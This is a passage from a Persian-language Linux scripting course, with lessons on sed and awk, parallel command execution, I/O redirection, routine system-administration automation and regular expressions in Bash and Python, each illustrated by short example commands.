در این اسکریپت، از ماژول logging برای گزارش‌دهی خطاها استفاده کرده‌ایم. در صورتی که خطایی در اسکریپت رخ دهد، پیامی با جزئیات زمان و نوع خطا در فایل app.log ذخیره خواهد شد.

جمع‌بندی

در این بخش، روش‌های مختلف مدیریت خطا و گزارش‌دهی در اسکریپت‌های Bash و Python را بررسی کردیم. در Bash، ابزارهایی مانند $? و trap برای شناسایی و مدیریت خطاها و سیگنال‌ها استفاده می‌شوند. در Python، دستورات try, except, finally برای مدیریت خطاها و ماژول logging برای گزارش‌دهی خطاها استفاده می‌شود. مدیریت خطاهای دقیق و گزارش‌دهی صحیح به شما کمک می‌کند تا مشکلات را سریع‌تر شناسایی کرده و اسکریپت‌های خود را بهینه‌تر کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهای پردازش متن (sed، awk) برای اسکریپت‌نویسی” subtitle=”توضیحات کامل”]در اسکریپت‌نویسی، پردازش متن یکی از مهم‌ترین کارهایی است که باید انجام شود. ابزارهایی مانند sed و awk برای پردازش و ویرایش متن در سیستم‌های لینوکسی بسیار پرکاربرد هستند. این ابزارها می‌توانند در اسکریپت‌ها برای انجام وظایف مختلفی مانند جستجو و جایگزینی متن، استخراج اطلاعات خاص از فایل‌ها و پردازش داده‌های متنی مورد استفاده قرار گیرند.

در این بخش، به نحوه استفاده از ابزارهای sed و awk برای پردازش متن در اسکریپت‌ها خواهیم پرداخت.

1. استفاده از ابزار sed

ابزار sed (Stream Editor) یک ویرایشگر متن است که به شما این امکان را می‌دهد که به‌صورت غیرتعامل و در حالت خطی، تغییرات دلخواه را بر روی داده‌ها اعمال کنید. sed به‌ویژه برای جایگزینی متن، حذف خطوط، و ویرایش متون بزرگ مفید است.

الف) جایگزینی متن با sed

برای جایگزینی متن در یک فایل، از دستور sed به همراه گزینه s استفاده می‌کنیم. ساختار دستور به این صورت است:

sed 's/pattern/replacement/' file

گام 1: ایجاد فایل نمونه

nano text_example.txt

محتوای فایل:

Hello, this is a test file.
We are going to replace some words.

گام 2: استفاده از دستور sed برای جایگزینی

برای جایگزینی کلمه “test” با “sample”، دستور زیر را اجرا می‌کنیم:

sed 's/test/sample/' text_example.txt

گام 3: جایگزینی درون فایل به‌صورت مستقیم

برای اعمال تغییرات به‌صورت دائم در فایل، از گزینه -i استفاده می‌کنیم:

sed -i 's/test/sample/' text_example.txt

این دستور کلمه “test” را با “sample” در داخل فایل text_example.txt جایگزین خواهد کرد.

ب) حذف خطوط با sed

برای حذف خطوط خاص از یک فایل، از دستور sed به همراه گزینه d استفاده می‌کنیم. به‌طور مثال، برای حذف خط دوم از یک فایل:

sed '2d' text_example.txt

گام 4: حذف خطوط خالی

برای حذف تمامی خطوط خالی از فایل:

sed '/^$/d' text_example.txt

ج) استفاده از sed برای جایگزینی چندین عبارت

برای جایگزینی چند عبارت در یک فایل به‌طور همزمان، می‌توانیم از چندین دستور s استفاده کنیم. مثلاً برای جایگزینی “test” با “sample” و “file” با “document”:

sed -e 's/test/sample/' -e 's/file/document/' text_example.txt

2. استفاده از ابزار awk

ابزار awk یک زبان برنامه‌نویسی است که به‌ویژه برای پردازش و تجزیه فایل‌های متنی که ساختار مشخصی دارند (مانند فایل‌های CSV یا جدولی) مناسب است. awk به شما این امکان را می‌دهد که بر اساس الگوهای خاصی جستجو کنید و عملیات مختلفی روی داده‌ها انجام دهید.

الف) چاپ ستون‌ها با awk

برای چاپ یک ستون خاص از فایل متنی، می‌توانیم از awk به این شکل استفاده کنیم:

awk '{print $1}' file

این دستور اولین ستون هر خط از فایل را چاپ می‌کند.

گام 1: ایجاد فایل نمونه

nano data_example.txt

محتوای فایل:

John 25
Alice 30
Bob 22

گام 2: استفاده از awk برای چاپ اولین ستون

awk '{print $1}' data_example.txt

نتیجه:

John
Alice
Bob

ب) استفاده از awk برای محاسبات

awk به شما این امکان را می‌دهد که محاسباتی مانند جمع، میانگین، و غیره را روی داده‌ها انجام دهید.

برای مثال، اگر بخواهیم میانگین سنی افراد در فایل data_example.txt را محاسبه کنیم، دستور زیر را اجرا می‌کنیم:

awk '{sum+=$2} END {print sum/NR}' data_example.txt

این دستور مجموع سن‌ها را محاسبه کرده و آن را بر تعداد ردیف‌ها تقسیم می‌کند تا میانگین بدست آید.

ج) استفاده از awk برای جستجوی الگو

برای جستجو و فیلتر کردن خطوطی که یک الگوی خاص دارند، می‌توانیم از awk استفاده کنیم. برای مثال، اگر بخواهیم فقط افرادی را که سنشان بیشتر از 25 است، چاپ کنیم:

awk '$2 > 25 {print $1}' data_example.txt

نتیجه:

Alice

د) استفاده از awk برای فرمت‌دهی خروجی

با استفاده از awk می‌توانیم خروجی را فرمت دهیم و آن را به صورت دلخواه چاپ کنیم. برای مثال، برای چاپ نام و سن به صورت مرتب:

awk '{printf "Name: %-10s Age: %-3s\n", $1, $2}' data_example.txt

نتیجه:

Name: John      Age: 25 
Name: Alice     Age: 30 
Name: Bob       Age: 22 

3. ترکیب sed و awk در اسکریپت‌ها

ترکیب sed و awk می‌تواند ابزارهای بسیار قدرتمندی برای پردازش داده‌ها در اسکریپت‌ها ایجاد کند. به عنوان مثال، می‌توانیم ابتدا از sed برای تغییرات ابتدایی در متن استفاده کرده و سپس از awk برای پردازش پیچیده‌تر داده‌ها استفاده کنیم.

گام 1: ایجاد فایل نمونه

nano combined_example.txt

محتوای فایل:

John 25
Alice 30
Bob 22
test line 1
test line 2

گام 2: ترکیب sed و awk

در این مثال، ابتدا از sed برای حذف خطوط حاوی “test” استفاده می‌کنیم و سپس از awk برای چاپ ستون اول:

sed '/test/d' combined_example.txt | awk '{print $1}'

نتیجه:

John
Alice
Bob

جمع‌بندی

در این بخش، با ابزارهای قدرتمند پردازش متن مانند sed و awk در اسکریپت‌نویسی آشنا شدیم. با استفاده از sed می‌توانیم تغییرات متن، جایگزینی، حذف خطوط و تغییرات متعدد در داده‌ها را انجام دهیم. از سوی دیگر، awk برای پردازش داده‌های جدولی و انجام محاسبات مختلف مفید است. ترکیب این ابزارها می‌تواند راه‌حل‌های بسیار کارآمدی برای پردازش و ویرایش داده‌ها در اسکریپت‌ها ایجاد کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”اجرای دستورات و اسکریپت‌ها به صورت موازی” subtitle=”توضیحات کامل”]در محیط‌های لینوکسی و یونیکسی، اجرای دستورات و اسکریپت‌ها به صورت موازی یکی از روش‌های موثر برای بهینه‌سازی زمان پردازش و استفاده بهتر از منابع سیستم است. این کار به ویژه در مواقعی که نیاز به انجام چندین وظیفه به طور همزمان دارید، می‌تواند سرعت سیستم را افزایش دهد. در این بخش، به بررسی روش‌های مختلف اجرای موازی دستورات و اسکریپت‌ها در لینوکس خواهیم پرداخت.

1. استفاده از & برای اجرای دستورات به صورت پس‌زمینه

یکی از ساده‌ترین روش‌ها برای اجرای دستورات به صورت موازی، استفاده از علامت & در انتهای دستور است. این علامت باعث می‌شود که دستور در پس‌زمینه اجرا شده و بتوانید دستورات دیگری را به طور همزمان اجرا کنید.

گام 1: اجرای چند دستور به صورت موازی با استفاده از &

برای مثال، اگر بخواهید سه دستور مختلف را به طور همزمان اجرا کنید، می‌توانید به این صورت عمل کنید:

command1 &
command2 &
command3 &

این دستورات به طور همزمان اجرا خواهند شد و به شما این امکان را می‌دهند که زمان پردازش را کاهش دهید.

گام 2: مشاهده فرآیندهای پس‌زمینه

برای مشاهده تمامی فرآیندهای پس‌زمینه که در حال اجرا هستند، از دستور jobs استفاده کنید:

jobs

2. استفاده از wait برای همگام‌سازی دستورات

هنگامی که از & برای اجرای دستورات به صورت موازی استفاده می‌کنید، گاهی اوقات نیاز دارید که اسکریپت شما منتظر بماند تا تمامی دستورات پس‌زمینه تکمیل شوند. در این صورت، از دستور wait استفاده می‌شود.

گام 1: اجرای دستورات موازی و منتظر ماندن برای تکمیل آن‌ها

command1 &
command2 &
command3 &
wait
echo "All commands have completed."

دستور wait باعث می‌شود که اسکریپت منتظر تکمیل تمامی دستورات موازی شده و سپس ادامه یابد.

3. استفاده از xargs برای اجرای موازی

ابزار xargs یکی از ابزارهای قدرتمند در لینوکس است که به شما این امکان را می‌دهد که دستورات مختلف را به صورت موازی اجرا کنید. این ابزار به‌ویژه در زمانی که تعداد زیادی فایل یا آرگومان نیاز به پردازش دارند، مفید است.

گام 1: استفاده از xargs با گزینه -P برای اجرای موازی

اگر بخواهید تعدادی دستور مشابه را به صورت موازی اجرا کنید، از دستور xargs به شکل زیر استفاده کنید:

echo "file1.txt file2.txt file3.txt" | xargs -n 1 -P 3 command

در این مثال، دستور command برای هر یک از فایل‌ها به صورت موازی اجرا می‌شود. گزینه -n 1 به این معنی است که یک فایل به عنوان آرگومان به هر بار اجرای دستور داده می‌شود، و گزینه -P 3 تعداد پردازش‌های موازی را تعیین می‌کند.

4. استفاده از parallel برای اجرای دستورات موازی

ابزار parallel یکی دیگر از ابزارهای محبوب برای اجرای دستورات به صورت موازی در لینوکس است. این ابزار بسیار انعطاف‌پذیر است و می‌تواند به شما در پردازش موازی دستورات کمک کند.

گام 1: نصب parallel (در صورت نصب نبودن)

برای نصب ابزار parallel از دستور زیر استفاده کنید:

sudo apt-get install parallel

گام 2: استفاده از parallel برای اجرای دستورات موازی

برای اجرای دستورات مختلف به صورت موازی با استفاده از parallel، از دستور زیر استفاده کنید:

parallel command ::: arg1 arg2 arg3

در این دستور، command به عنوان دستور اصلی و arg1, arg2, arg3 به عنوان آرگومان‌های آن به‌طور همزمان اجرا خواهند شد.

گام 3: استفاده از parallel برای پردازش موازی چندین فایل

اگر بخواهید یک دستور را بر روی چندین فایل به صورت موازی اجرا کنید، از دستور زیر استفاده کنید:

ls *.txt | parallel command

در این مثال، دستور command برای هر فایل با پسوند .txt به صورت موازی اجرا خواهد شد.

5. استفاده از tmux یا screen برای اجرای موازی در ترمینال‌های جداگانه

اگر می‌خواهید چندین دستور را در ترمینال‌های جداگانه به صورت موازی اجرا کنید، ابزارهایی مانند tmux یا screen می‌توانند مفید باشند. این ابزارها به شما این امکان را می‌دهند که چندین پنجره ترمینال را در یک ترمینال واحد مدیریت کنید و دستورات مختلف را در هر پنجره به صورت مستقل و موازی اجرا کنید.

گام 1: نصب tmux

برای نصب tmux از دستور زیر استفاده کنید:

sudo apt-get install tmux

گام 2: شروع یک جلسه tmux

برای شروع یک جلسه tmux جدید:

tmux

گام 3: باز کردن پنجره‌های جداگانه در tmux

برای باز کردن پنجره‌های جداگانه در tmux و اجرای دستورات موازی، از دستور زیر استفاده کنید:

Ctrl+b c

این دستور یک پنجره جدید ایجاد می‌کند. می‌توانید چندین پنجره ایجاد کنید و دستورات مختلف را در هر یک از آن‌ها اجرا کنید.

6. استفاده از اسکریپت برای اجرای موازی

در برخی مواقع نیاز است که یک اسکریپت را برای اجرای موازی تنظیم کنید. برای این کار، می‌توانید از هر یک از روش‌های بالا به همراه اسکریپت‌نویسی استفاده کنید.

گام 1: اسکریپت نمونه برای اجرای دستورات موازی

یک اسکریپت ساده که از & برای اجرای دستورات موازی استفاده می‌کند:

#!/bin/bash

echo "Starting tasks..."

task1 &
task2 &
task3 &
wait

echo "All tasks completed."

این اسکریپت سه دستور را به صورت موازی اجرا کرده و سپس منتظر تکمیل آن‌ها می‌ماند.

جمع‌بندی

در این بخش، با روش‌های مختلف اجرای دستورات و اسکریپت‌ها به صورت موازی در لینوکس آشنا شدیم. از ساده‌ترین روش‌ها مانند استفاده از & و wait گرفته تا ابزارهای پیشرفته‌تری مانند xargs, parallel, و tmux برای مدیریت پردازش‌های موازی استفاده کردیم. اجرای دستورات به صورت موازی می‌تواند به بهبود کارایی سیستم و کاهش زمان پردازش کمک کند، به ویژه در مواقعی که با پردازش داده‌های سنگین مواجه هستید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت ورودی و خروجی (I/O) در اسکریپت‌ها” subtitle=”توضیحات کامل”]مدیریت ورودی و خروجی (I/O) در اسکریپت‌ها یکی از اصول پایه‌ای در نوشتن اسکریپت‌های کاربردی است. در لینوکس، ورودی‌ها و خروجی‌ها می‌توانند از منابع مختلفی مثل کنسول (ترمینال)، فایل‌ها، لوله‌ها (pipes) و دیگر فرآیندها باشند. در این بخش، روش‌ها و ابزارهای مختلف برای مدیریت ورودی و خروجی در اسکریپت‌های Bash را بررسی خواهیم کرد و توضیح خواهیم داد که چگونه می‌توان از آن‌ها به طور مؤثر استفاده کرد.

1. ورودی و خروجی استاندارد (stdin، stdout و stderr)

در سیستم‌عامل‌های مبتنی بر یونیکس، هر برنامه به سه جریان استاندارد دسترسی دارد:

  • stdin: ورودی استاندارد (Standard Input) که معمولاً از کیبورد خوانده می‌شود.
  • stdout: خروجی استاندارد (Standard Output) که معمولاً به صفحه نمایش (ترمینال) ارسال می‌شود.
  • stderr: خروجی خطا (Standard Error) که معمولاً برای ارسال پیام‌های خطا استفاده می‌شود.

در اسکریپت‌های Bash، این سه جریان معمولاً به‌طور پیش‌فرض به ترمینال متصل هستند، اما می‌توانیم آن‌ها را به منابع دیگر هدایت کنیم.

2. هدایت ورودی و خروجی

هدایت خروجی (>, >>)
  • >: این علامت برای هدایت خروجی یک دستور به فایل استفاده می‌شود. اگر فایل وجود نداشته باشد، فایل جدیدی ساخته می‌شود و اگر وجود داشته باشد، محتویات آن با خروجی دستور جایگزین می‌شود.
  • >>: این علامت برای اضافه کردن خروجی یک دستور به انتهای یک فایل استفاده می‌شود. اگر فایل وجود نداشته باشد، یک فایل جدید ایجاد می‌شود.

مثال 1: هدایت خروجی به یک فایل جدید

echo "Hello, world!" > output.txt

این دستور متن “Hello, world!” را در فایل output.txt می‌نویسد. اگر فایل وجود نداشته باشد، فایل جدیدی ساخته می‌شود.

مثال 2: اضافه کردن خروجی به فایل موجود

echo "This is another line." >> output.txt

این دستور متن “This is another line.” را به انتهای فایل output.txt اضافه می‌کند.

هدایت خطای استاندارد (2>, 2>>)
  • 2>: این علامت برای هدایت خطای استاندارد به یک فایل استفاده می‌شود. 2 نشان‌دهنده جریان خطای استاندارد است.
  • 2>>: مشابه علامت >> برای خروجی است، ولی این بار برای هدایت خطاها به انتهای فایل به کار می‌رود.

مثال 3: هدایت خطاها به یک فایل

ls non_existent_directory 2> error.log

این دستور خطای مربوط به عدم وجود دایرکتوری را به فایل error.log هدایت می‌کند.

هدایت ورودی (<)

علامت < برای وارد کردن ورودی از یک فایل به دستور استفاده می‌شود. به این ترتیب، می‌توان ورودی یک دستور را از یک فایل به جای وارد کردن آن از کیبورد تأمین کرد.

مثال 4: وارد کردن ورودی از یک فایل

sort < input.txt

این دستور فایل input.txt را به دستور sort می‌دهد و نتایج مرتب‌شده را در ترمینال نمایش می‌دهد.

3. استفاده از لوله‌ها (Pipes)

لوله‌ها به شما این امکان را می‌دهند که خروجی یک دستور را به ورودی دستور دیگری ارسال کنید. این قابلیت به‌ویژه در پردازش‌های زنجیره‌ای و پیچیده بسیار مفید است.

مثال 5: استفاده از لوله‌ها برای اتصال دستورات

cat file.txt | grep "pattern" | sort

در این مثال، خروجی دستور cat که محتوای فایل file.txt است، به دستور grep ارسال می‌شود تا تنها خطوطی که شامل “pattern” هستند فیلتر شوند، سپس خروجی آن به دستور sort ارسال می‌شود تا نتایج مرتب شوند.

4. استفاده از فایل‌های موقت

گاهی اوقات نیاز داریم که داده‌ها را به‌طور موقت در یک فایل ذخیره کنیم تا پس از آن از آن استفاده کنیم. برای این کار، می‌توان از فایل‌های موقت استفاده کرد.

مثال 6: استفاده از فایل موقت

echo "Temporary data" > /tmp/tempfile.txt
cat /tmp/tempfile.txt

این دستور ابتدا داده‌ها را در فایل موقت /tmp/tempfile.txt ذخیره می‌کند و سپس محتوای آن را با استفاده از دستور cat نمایش می‌دهد.

5. هدایت همزمان خروجی استاندارد و خطا

گاهی ممکن است نیاز داشته باشیم که هم خروجی استاندارد و هم خطای استاندارد را به یک فایل هدایت کنیم. برای این کار می‌توانیم از دستور زیر استفاده کنیم:

command > output.txt 2>&1

در این دستور، ابتدا خروجی استاندارد به output.txt هدایت می‌شود و سپس خطای استاندارد نیز به همان فایل هدایت می‌شود.

مثال 7: هدایت همزمان خروجی و خطا

ls /nonexistent_folder > output.txt 2>&1

این دستور هم خروجی معمولی و هم خطای عدم وجود دایرکتوری را به فایل output.txt می‌نویسد.

6. استفاده از فایل‌های ورودی و خروجی به صورت موازی

در مواقعی که نیاز به پردازش فایل‌های مختلف به صورت موازی دارید، می‌توانید از دستورات مشابه آنچه در بخش “اجرای دستورات و اسکریپت‌ها به صورت موازی” آورده شد، استفاده کنید.

مثال 8: پردازش موازی فایل‌های ورودی و خروجی

cat file1.txt | sort > sorted_file1.txt &
cat file2.txt | sort > sorted_file2.txt &
wait

این دستور هر دو فایل را به صورت موازی پردازش کرده و نتایج مرتب‌شده را در فایل‌های جداگانه ذخیره می‌کند.

جمع‌بندی

در این بخش، به بررسی تکنیک‌های مختلف مدیریت ورودی و خروجی در اسکریپت‌ها پرداختیم. هدایت ورودی و خروجی، استفاده از لوله‌ها برای پردازش‌های زنجیره‌ای، هدایت خطاها و ورودی از فایل‌ها به دستورات، و استفاده از فایل‌های موقت از جمله تکنیک‌هایی بودند که به شما امکان مدیریت بهتر و بهینه‌تر ورودی و خروجی در اسکریپت‌ها را می‌دهند. این مهارت‌ها در نوشتن اسکریپت‌های پیچیده و کارآمد بسیار مهم و کاربردی هستند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ساخت ابزارهای خودکار برای مدیریت سیستم و فرآیندها” subtitle=”توضیحات کامل”]در دنیای مدیریت سیستم‌های لینوکسی، ابزارهای خودکار برای انجام وظایف مختلف به‌ویژه مدیریت منابع، پیکربندی سیستم، نظارت بر عملکرد، و مدیریت فرآیندها اهمیت زیادی دارند. استفاده از اسکریپت‌ها و ابزارهای خودکار می‌تواند در کاهش زمان و هزینه‌ها، بهبود بهره‌وری، و کاهش اشتباهات انسانی کمک زیادی کند. در این بخش، به بررسی ساخت ابزارهای خودکار برای مدیریت سیستم و فرآیندها خواهیم پرداخت. ما این ابزارها را با استفاده از اسکریپت‌نویسی Bash و Python ایجاد خواهیم کرد و به نحوه اجرای آن‌ها در محیط‌های عملی پرداخته‌ایم.

1. مدیریت فرآیندها با اسکریپت‌های Bash

در ابتدا، اسکریپت‌های Bash می‌توانند برای مدیریت و نظارت بر فرآیندهای سیستم مانند راه‌اندازی، متوقف کردن، و بررسی وضعیت فرآیندها استفاده شوند. این کار به‌ویژه برای اتوماسیون وظایف اداری سیستم مانند راه‌اندازی سرویس‌ها یا بررسی وضعیت سیستم مفید است.

1.1 بررسی وضعیت فرآیند

برای بررسی وضعیت فرآیندهای در حال اجرا، می‌توان از دستور ps یا top استفاده کرد. این دستورها اطلاعات مفیدی درباره فرآیندهای فعال، مصرف منابع و وضعیت آن‌ها می‌دهند.

مثال 1: بررسی وضعیت فرآیند با استفاده از دستور ps

ps aux | grep "process_name"

این دستور اطلاعات مربوط به فرآیندهایی که شامل “process_name” در نام خود هستند را نمایش می‌دهد.

1.2 راه‌اندازی و متوقف کردن فرآیند

برای راه‌اندازی و متوقف کردن فرآیندها، از دستورات systemctl یا service استفاده می‌شود.

مثال 2: راه‌اندازی سرویس

sudo systemctl start service_name

این دستور سرویس مورد نظر را راه‌اندازی می‌کند.

مثال 3: متوقف کردن سرویس

sudo systemctl stop service_name

این دستور سرویس مورد نظر را متوقف می‌کند.

1.3 نظارت و توقف فرآیندهای خاص

در مواقعی که نیاز داریم فرآیندی را که مصرف منابع زیادی دارد متوقف کنیم، می‌توانیم از دستورات kill و top استفاده کنیم.

مثال 4: پیدا کردن و متوقف کردن یک فرآیند با استفاده از kill

ps aux | grep "high_cpu_process" | awk '{print $2}' | xargs kill -9

این اسکریپت ابتدا شناسه فرآیند (PID) فرآیندی که بیشترین مصرف CPU را دارد پیدا می‌کند و سپس آن را متوقف می‌کند.

2. مدیریت خودکار کاربران و گروه‌ها

یکی از وظایف اساسی در سیستم‌های لینوکسی، مدیریت کاربران و گروه‌ها است. با استفاده از اسکریپت‌ها می‌توان این فرآیندها را خودکار کرد.

2.1 اضافه کردن کاربر جدید

برای اضافه کردن کاربران جدید به سیستم، از دستور useradd استفاده می‌کنیم.

مثال 5: اضافه کردن کاربر جدید

sudo useradd -m new_user
sudo passwd new_user

این دستور یک کاربر جدید به نام new_user ایجاد می‌کند و از شما درخواست می‌کند تا رمز عبور جدید برای این کاربر وارد کنید.

2.2 حذف کاربر

برای حذف یک کاربر از سیستم می‌توان از دستور userdel استفاده کرد.

مثال 6: حذف کاربر

sudo userdel -r old_user

این دستور کاربر old_user را از سیستم حذف کرده و پوشه‌های خانگی آن را نیز پاک می‌کند.

3. ایجاد ابزارهای خودکار برای پشتیبانی و بازسازی سیستم

پشتیبان‌گیری از داده‌ها و بازسازی سیستم یکی از امور مهم در مدیریت سیستم‌های لینوکسی است. اسکریپت‌های خودکار می‌توانند این فرآیندها را ساده و سریع کنند.

3.1 پشتیبان‌گیری از فایل‌ها

برای پشتیبان‌گیری از فایل‌ها به‌صورت خودکار می‌توان از دستور rsync یا tar استفاده کرد.

مثال 7: پشتیبان‌گیری از فایل‌ها با استفاده از rsync

rsync -av --delete /home/user/ /backup/user/

این دستور تمام فایل‌ها و پوشه‌های موجود در /home/user/ را به پوشه /backup/user/ پشتیبان‌گیری می‌کند.

3.2 پشتیبان‌گیری با استفاده از tar

برای فشرده‌سازی و پشتیبان‌گیری از فایل‌ها می‌توان از دستور tar استفاده کرد.

tar -czvf backup.tar.gz /home/user/

این دستور تمام داده‌های موجود در /home/user/ را فشرده کرده و در فایلی به نام backup.tar.gz ذخیره می‌کند.

4. خودکارسازی به‌روزرسانی‌های سیستم

برای به‌روزرسانی خودکار سیستم‌ها و بسته‌ها، اسکریپت‌های Bash می‌توانند به‌طور منظم اجرا شوند و سیستم را به‌روز نگه دارند.

4.1 به‌روزرسانی بسته‌ها

برای به‌روزرسانی بسته‌ها در سیستم‌های مبتنی بر Debian یا RedHat از دستورات apt-get و yum استفاده می‌شود.

مثال 8: به‌روزرسانی بسته‌ها با استفاده از apt-get

sudo apt-get update && sudo apt-get upgrade -y

این دستور ابتدا لیست بسته‌ها را به‌روز کرده و سپس تمام بسته‌های نصب‌شده را به‌آخرین نسخه ارتقا می‌دهد.

4.2 اسکریپت‌های زمان‌بندی با cron

برای اجرای خودکار اسکریپت‌ها به‌طور منظم، می‌توان از cron استفاده کرد. cron یک ابزار زمان‌بندی است که به شما اجازه می‌دهد اسکریپت‌ها را در زمان‌های مشخص اجرا کنید.

مثال 9: زمان‌بندی اجرای اسکریپت با cron

برای ویرایش کران‌جوب‌ها از دستور crontab استفاده می‌کنیم:

crontab -e

سپس در ویرایشگر کرون، می‌توانید خط زیر را اضافه کنید تا اسکریپت به‌طور روزانه در ساعت 2 صبح اجرا شود:

0 2 * * * /path/to/your/script.sh

جمع‌بندی

در این بخش، ابزارهایی برای خودکارسازی و مدیریت سیستم‌ها معرفی شدند که به شما این امکان را می‌دهند تا فرآیندهای مختلفی مانند مدیریت فرآیندها، کاربران، پشتیبان‌گیری و به‌روزرسانی‌ها را به‌صورت خودکار و مؤثر انجام دهید. با استفاده از اسکریپت‌های Bash و ابزارهای مشابه، می‌توانید به سادگی فرآیندهای پیچیده سیستم را خودکار کنید و بهره‌وری خود را افزایش دهید. این اسکریپت‌ها همچنین به شما کمک می‌کنند تا اشتباهات انسانی را کاهش داده و کارهای روزمره سیستم‌تان را به‌راحتی مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson title=”فصل 5. Regular Expressions”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”آشنایی با Regular Expressions و نحوه استفاده در اسکریپت‌نویسی” subtitle=”توضیحات کامل”]در اسکریپت‌نویسی، به‌ویژه در زبان‌هایی مانند Bash و Python، یکی از ابزارهای قدرتمند برای جستجو و پردازش متن، استفاده از Regular Expressions (عبارات منظم یا RegEx) است. این ابزار به شما این امکان را می‌دهد که الگوهای خاصی را در متن شناسایی کرده و آن‌ها را پردازش کنید. در این بخش، با اصول اولیه Regular Expressions آشنا می‌شوید و نحوه استفاده از آن‌ها را در اسکریپت‌های Bash و Python بررسی می‌کنیم.

1. مفاهیم پایه‌ای Regular Expressions

Regular Expressions یک زبان خاص برای تعریف الگوها در متن است. این الگوها به شما این امکان را می‌دهند که:

  • رشته‌هایی با ویژگی‌های خاص را جستجو کنید.
  • الگوهایی پیچیده برای جستجو، تطبیق و استخراج داده‌ها بسازید.
  • متون را بر اساس الگوهای خاص ویرایش یا تغییر دهید.

در Regular Expressions، نمادهای خاصی برای تعریف الگوها استفاده می‌شود، از جمله:

  • .: هر کاراکتری به جز خط جدید.
  • *: صفر یا بیشتر از تکرار یک الگو.
  • +: یک یا بیشتر از تکرار یک الگو.
  • ?: صفر یا یک تکرار از یک الگو.
  • []: تطبیق با یکی از کاراکترهای داخل براکت.
  • ^: آغاز یک خط.
  • $: پایان یک خط.
  • |: OR (انتخاب یکی از چند الگو).

2. استفاده از Regular Expressions در Bash

در Bash، برای استفاده از Regular Expressions معمولاً از دستور grep یا ابزارهای مشابه استفاده می‌شود. در ادامه، چند مثال کاربردی آورده شده است.

2.1 جستجو با استفاده از grep

دستور grep برای جستجو در متن با استفاده از Regular Expressions بسیار مفید است. این دستور می‌تواند الگوهای پیچیده‌ای را در فایل‌ها یا ورودی‌ها جستجو کند.

مثال 1: جستجوی یک کلمه خاص در یک فایل

برای جستجوی یک کلمه خاص در یک فایل، می‌توانید از دستور زیر استفاده کنید:

grep "pattern" /path/to/file

این دستور در فایل /path/to/file کلمه pattern را جستجو می‌کند.

مثال 2: جستجوی یک الگو با استفاده از Regular Expressions

اگر بخواهید یک الگوی پیچیده را جستجو کنید، می‌توانید از Regular Expressions استفاده کنید. به‌عنوان مثال، جستجوی تمام خطوطی که شامل اعداد هستند:

grep "[0-9]" /path/to/file

این دستور تمام خطوطی که شامل اعداد هستند را در فایل مشخص‌شده نمایش می‌دهد.

2.2 استخراج داده با استفاده از sed و awk

برای استخراج یا پردازش داده‌ها با استفاده از Regular Expressions، می‌توانید از دستورات sed یا awk استفاده کنید. این دستورات می‌توانند متن را بر اساس الگوهای خاص اصلاح کنند.

مثال 3: جایگزینی متن با استفاده از sed

اگر بخواهید در یک فایل تمام کلمات خاصی را با کلمه‌ای دیگر جایگزین کنید، می‌توانید از دستور sed به‌صورت زیر استفاده کنید:

sed -i 's/old_word/new_word/g' /path/to/file

این دستور کلمه old_word را با new_word در فایل /path/to/file جایگزین می‌کند.

مثال 4: استخراج داده با استفاده از awk

برای استخراج داده از یک فایل با استفاده از Regular Expressions، می‌توانید از دستور awk استفاده کنید:

awk '/pattern/ {print $1}' /path/to/file

این دستور تمام خطوطی که شامل الگوی pattern هستند را پیدا کرده و اولین ستون آن‌ها را نمایش می‌دهد.

3. استفاده از Regular Expressions در Python

در Python، ما از ماژول re برای استفاده از Regular Expressions بهره می‌بریم. ماژول re این امکان را به ما می‌دهد که الگوهای پیچیده‌ای را جستجو، تطبیق و پردازش کنیم.

3.1 جستجو و تطبیق با استفاده از re

مثال 5: جستجو و تطبیق یک الگو در یک رشته

برای جستجو و تطبیق یک الگو در یک رشته می‌توانیم از تابع re.search() استفاده کنیم. این تابع اولین تطابق را پیدا می‌کند.

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples and 456 oranges."

match = re.search(pattern, text)

if match:
    print(f"Found: {match.group()}")

در این مثال، کد عدد اول را در متن جستجو می‌کند و آن را پیدا می‌کند.

مثال 6: جستجو برای چندین تطابق

اگر بخواهید تمام تطابق‌ها را پیدا کنید، می‌توانید از re.findall() استفاده کنید.

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples, 456 oranges, and 789 bananas."

matches = re.findall(pattern, text)

print(f"Found numbers: {matches}")

این کد تمام اعداد موجود در متن را پیدا می‌کند و آن‌ها را در یک لیست نمایش می‌دهد.

3.2 جایگزینی با استفاده از re.sub()

برای جایگزینی یک بخش از متن با استفاده از Regular Expressions، می‌توان از re.sub() استفاده کرد.

مثال 7: جایگزینی متن با استفاده از re.sub()

import re

pattern = r"\d+"  # جستجو برای یک یا بیشتر عدد
text = "There are 123 apples, 456 oranges, and 789 bananas."

modified_text = re.sub(pattern, "X", text)

print(f"Modified text: {modified_text}")

این کد تمام اعداد را با حرف X جایگزین می‌کند.

4. ترکیب استفاده از Regular Expressions در Bash و Python

در برخی موارد، ممکن است نیاز داشته باشید که از Bash و Python به‌طور ترکیبی استفاده کنید. به‌عنوان مثال، می‌توانید از یک اسکریپت Bash برای جمع‌آوری داده‌ها استفاده کرده و سپس از Python برای پردازش داده‌ها با استفاده از Regular Expressions بهره ببرید.

مثال 8: استفاده از Bash برای استخراج داده‌ها و Python برای پردازش آن‌ها

#!/bin/bash

# استخراج داده‌ها از فایل
grep "pattern" /path/to/file > data.txt

# پردازش داده‌ها با Python
python3 -c "
import re
with open('data.txt', 'r') as file:
    for line in file:
        match = re.search(r'\d+', line)
        if match:
            print(f'Found: {match.group()}')
"

این اسکریپت ابتدا داده‌ها را از فایل استخراج کرده و سپس از Python برای پردازش آن‌ها با استفاده از Regular Expressions بهره می‌برد.

جمع‌بندی

